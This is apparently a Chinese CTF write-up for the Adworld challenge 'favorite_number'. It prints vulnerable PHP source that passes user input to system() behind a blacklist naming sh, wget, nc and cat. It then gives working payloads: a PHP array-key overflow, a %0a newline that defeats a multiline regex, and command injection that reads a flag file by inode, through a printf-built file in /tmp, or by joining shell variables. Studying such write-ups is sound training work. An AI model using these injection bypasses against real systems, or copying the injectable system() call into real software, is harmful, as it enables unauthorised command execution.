Loading

命令执行%0a绕过,列表key溢出达到绕过,索引结点inode,重定向printf写入文件执行——favorite_number——攻防世界


<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }

题目代码

这里有三个绕过

第一个绕过,需要一个列表与array列表完成相同,但是下标为[0]的不为'admin'

第二个绕过,通过一个正则匹配使num全为数字

第三个绕过,是一个常见的黑名单

 

第一个绕过,需要用到php里数组下标溢出

参考:

https://segmentfault.com/q/1010000003871264

https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

于是得到payload

stuff[4294967296]=admin&stuff[1]=user&num=123

 

 第一层绕过成功

 

第二层绕过,跨行检测需要使用换行符%0a去进行绕过

 

%0a绕过正则

preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。

原理如同下图

 

简而言之,就是因为%0a相当于;,后面的ls是下一行的语句了,而第一行的123已经满足了正则表达式的条件,于是就形成了绕过 

 

 

 

最后是命令执行的环节

 

 这里我们可以用到tac

方法一、

使用inode绕过关键字

inode 索引节点

Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。目录文件的结构非常简单,就是一系列目录项(dirent)的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。可以通过ls -i 列出文件名和inode号码

先寻找flag的inode

 

 然后进行读取

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`
反引号``

反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`

 

 

 方法二、

可以用printf将命令写入一个文件

1 printf /fla > /tmp/hello
2 printf g >> /tmp/hello
3 tac `tac /tmp/hello`
4 
5 # printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 ta
6 c `tac /tmp/hello`

php可以将输出的结果重定向到文件中,通过>

经过测试,发现>会覆盖文件的内容,而>>可以在文件的尾部进行输入

方法三、

可以通过全局变量

$a=/fla;$b=g;tac $a$b

posted @ 2021-12-11 23:02  Nanne1ess  阅读(997)  评论(0编辑  收藏  举报